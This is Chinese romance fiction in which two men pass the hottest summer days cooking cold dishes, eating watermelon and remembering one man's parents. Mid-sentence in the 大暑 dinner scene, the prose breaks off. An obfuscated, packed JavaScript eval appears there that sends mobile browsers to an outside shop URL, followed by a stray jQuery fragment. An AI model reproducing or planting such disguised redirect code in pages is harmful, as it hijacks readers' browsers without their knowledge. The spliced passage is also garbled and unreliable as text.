小暑那天，天热得像是有人把整个城市扣在蒸笼里。梧桐树的叶子被晒得打了卷，蝉声从早到晚响彻整条街，一浪高过一浪，像无数把看不见的琴弓在同时摩擦夏天的琴弦。苌斓把阳台的薄纱窗帘拉得严严实实，阳光还是执拗地从缝隙里挤进来，在地板上画出一道道金线。
他穿着背心和短裤盘腿坐在沙发上绕毛线，膝盖上摊着那团灰色毛线团，旁边放着一杯冰镇绿豆汤。汤是早上熬的，绿豆煮开了花，放了一小块冰糖，放在冰箱里冰了小半天，杯壁上凝着一层细密的水珠。他绕几圈毛线就端起绿豆汤喝一口，玻璃杯在茶几上磕出一声轻响，和每天放紫砂杯的声音一模一样。忘海从书房出来倒水，看见他这副样子——背心领口洗得有些松垮，锁骨上那道很淡的旧疤露在外面，头发用皮筋松松地扎着，几缕碎发被汗水粘在额角。他走过去把绿豆汤从苌斓手里拿过来喝了一口，说太甜了。苌斓抬头看他，说那你别喝。忘海又喝了一口，把杯子放回他手边，说太甜了也要喝。
苌斓继续低头绕毛线，绕了几圈又停下来。“今天小暑。晚上吃凉拌西红柿和拍黄瓜，还有昨天剩的酱牛肉。你去买两个西瓜，要小的，大的吃不完。”忘海说好，换了鞋推开门。热浪扑面而来，梧桐树上的蝉忽然噤了声，过了片刻又齐声轰鸣。
忘海买西瓜回来的时候，苌斓已经把凉拌西红柿和拍黄瓜端上了桌。西红柿切得厚薄均匀，撒了白糖，糖粒在红色的果肉上慢慢融化渗进汁水里；拍黄瓜用的是刀背，每一块都拍得裂而不碎，蒜泥、醋、生抽、香油拌得刚刚好。他正站在灶台前切酱牛肉，刀工比去年又进步了不少——每一片都薄得透光，码在盘子里整整齐齐。忘海把西瓜放在水池里用凉水泡着，说今年西瓜便宜，买了三个。苌斓回头看了一眼，说不是让你买两个吗。忘海说第三个是老板送的，说这个瓜形不正但甜。苌斓走过去蹲下来敲了敲西瓜，听见一声闷闷的回响，说确实熟透了，今晚先吃它。
傍晚他们在阳台上吃晚饭。阳台不大，刚好放下一张小桌和两把折叠椅。苌斓把凉拌西红柿的汤汁倒在米饭里拌了拌，酸甜的汁水渗进米粒，他吃了满满一大口，腮帮子鼓鼓的。忘海夹了一片酱牛肉放在他碗里，又把拍黄瓜里最大的一块夹给他，说多吃点，你最近瘦了。苌斓说没瘦，是你天天看我产生了错觉。忘海没有反驳，只是又夹了一片牛肉放在他碗里。
吃完晚饭，苌斓把西瓜从凉水里捞出来，一刀切下去，瓜皮裂开的声音清脆悦耳。瓜瓤红得发紫，汁水顺着刀锋流到砧板上，他用手指蘸了一下塞进嘴里，说甜，然后切了一大块递给忘海。两人并肩坐在阳台上吃西瓜，西瓜汁顺着下巴滴在膝盖上，苌斓用手背擦了一下没擦干净。忘海从口袋里掏出纸巾递给他，他说你怎么随身带纸巾。忘海说跟你学的，你以前每次出门都带纸巾，因为同桌老问你借。苌斓愣了一下，接过纸巾擦了擦下巴，说你还记得。忘海说我记得所有你的事。
天黑下来之后，蝉鸣渐渐歇了，凉风从梧桐树的方向吹过来，带着树叶和泥土淡淡的腥甜。远处有小孩在玩水枪，尖叫声和笑声混在一起，被晚风吹得断断续续。对面楼的窗户亮了一盏又一盏，有人在天台上晾衣服，白色的床单被风吹得鼓起来，像一张正要远航的帆。苌斓把头靠在忘海肩上，说我小时候最讨厌夏天，夏天穿短袖遮不住手臂上的伤，体育课总请假老师就觉得我矫情。现在不讨厌了——夏天可以吃西瓜，可以喝冰镇绿豆汤，可以在阳台上吹风。还有你帮我擦西瓜汁。
忘海侧头看着他。苌斓的额角还有一点没擦干净的西瓜汁，他用拇指轻轻抹掉，说以后每个夏天都有西瓜吃。苌斓说那你要负责切，我每次切都切歪。忘海说好，我切。苌斓又说你还要负责把西瓜籽挑掉，我懒得挑。忘海说好，我挑。苌斓沉默了一会儿，然后极轻极轻地笑了一下，说你怎么什么都答应。忘海说因为是你说的。
苌斓闭上眼睛靠在他肩上。蝉鸣彻底停了，梧桐树的叶子还在沙沙响着。阳台上的空西瓜皮招来了一只萤火虫，绕了一圈又飞走了。
大暑那天，天热到了极点。苌斓把家里所有的窗帘都拉上了，还是挡不住那股热浪。他躺在客厅的凉席上，旁边开着小风扇，手里拿着蒲扇有一下没一下地扇着。忘海从厨房端出两碗冰镇酸梅汤，碗底沉着几颗乌梅和山楂，汤色深褐，酸甜的香气在闷热的空气里格外解暑。他把苌斓从凉席上拉起来，把碗塞进他手里。苌斓一口气喝了半碗，这才觉得自己重新活了过来。
“今天大暑。晚上吃什么。”
“凉皮。”忘海说，“你上次说想吃凉皮，我在网上找了配方。”
苌斓放下碗，眼睛亮了一下。凉皮是高中时同桌老念叨的小吃，他后来自己吃过几次，再后来就没吃过了。他看着忘海在厨房里忙活——面粉调成糊，上锅蒸熟，一张一张揭下来切成宽条，动作不算太熟练，但每一步都有条不紊，和当年学磨豆浆时一模一样。
凉皮端上桌，码着黄瓜丝、豆芽、面筋，淋着红亮亮的辣椒油和醋蒜汁。苌斓拌开了夹了一大口——凉皮筋道爽滑，醋和蒜的比例恰到好处，辣椒油香而不燥。他嚼着嚼着，忽然停下了筷子。
忘海问他怎么了。他说没什么，就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724415|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
觉得太好吃了。他把筷子放下，端起碗把剩下的凉皮连汤汁一起扒进嘴里，腮帮子鼓得像只松鼠。忘海说慢点吃，没人跟你抢。苌斓含糊不清地说你在跟我抢，刚才你还夹了一块面筋。忘海把自己碗里那块面筋也夹给他，说都是你的。
晚上暑气稍稍退了一些，他们去天台乘凉。天台是后来买的这栋房子自带的小天台，不大，刚好够放两把躺椅。苌斓在墙角种了一小片薄荷，长势很好，绿油油的叶片在夜风里轻轻摆动，空气里有薄荷清冽微甜的味道。他摘了一片放在手心里揉碎了，凑到忘海鼻子底下说闻。忘海闻了一下——薄荷的清香混着苌斓指尖洗衣液的皂香，两种味道纠缠在一起，分不清哪是哪。他说好闻。苌斓把碎叶子抹在他太阳穴上，说防蚊的。
两个人躺在椅子上看星星。城市的星星不算多，但今晚天气好，勉强能看到几颗亮的大概是天狼星和织女星。苌斓指着天边最亮的那颗，说那颗是不是织女星。忘海说是，对面那颗是牛郎星，中间隔的是银河。苌斓侧头看着他，说你怎么什么都知道。忘海说活了一百多世，总得有点用处。苌斓把目光收回天上，沉默了一会儿，忽然开口：“那你知道我在想什么吗。”
忘海侧头看着他。苌斓的眼睛在星光下很亮，和很久以前在医院病房里睁开眼时第一眼看到忘海时一样亮。“你在想你爸。每年大暑他都给你煮酸梅汤，比你煮的好喝。你想说他煮的乌梅放得多，山楂放得少，冰糖要敲碎了再放。”
苌斓垂下眼，睫毛在星光下轻轻颤了一下。“还有呢。”
“还有你妈妈。大暑那天她会在冰箱里冻好冰块，等你爸煮好酸梅汤就放进去。你每次喝都嫌酸，她就在旁边笑着说下回少放乌梅。下回她还是放那么多。”忘海伸手把苌斓额前被风吹乱的碎发拨开，指尖碰到他发际线边缘那道很淡的旧疤——是天台上摔伤时留下的，现在只摸得出一点细微的凸起。
苌斓没有说话。他低下头把忘海的手握在自己掌心里，两只手都握着他的。“你煮的凉皮很好吃。面筋很有嚼劲，下次还放面筋。”忘海说好。苌斓又说，明年大暑还吃凉皮，后年也吃，每年大暑都吃。忘海说好，每年都吃。
夜风拂过天台，薄荷叶沙沙地响了几声又安静下来。楼下梧桐树的叶子还在哗哗地摇着，保温杯里的酸梅汤见了底，碗底沉着几颗乌梅和山楂，蒲扇放在躺椅扶手上，苌斓的手指还搭在扇柄上。大暑过了就是立秋，梧桐树的叶子会从墨绿慢慢变浅。明天早上豆浆机还是会准时响起，红枣茶里会多放两片薄荷。他们会继续并肩走过每一个夏天，和以前一样，和以后也一样。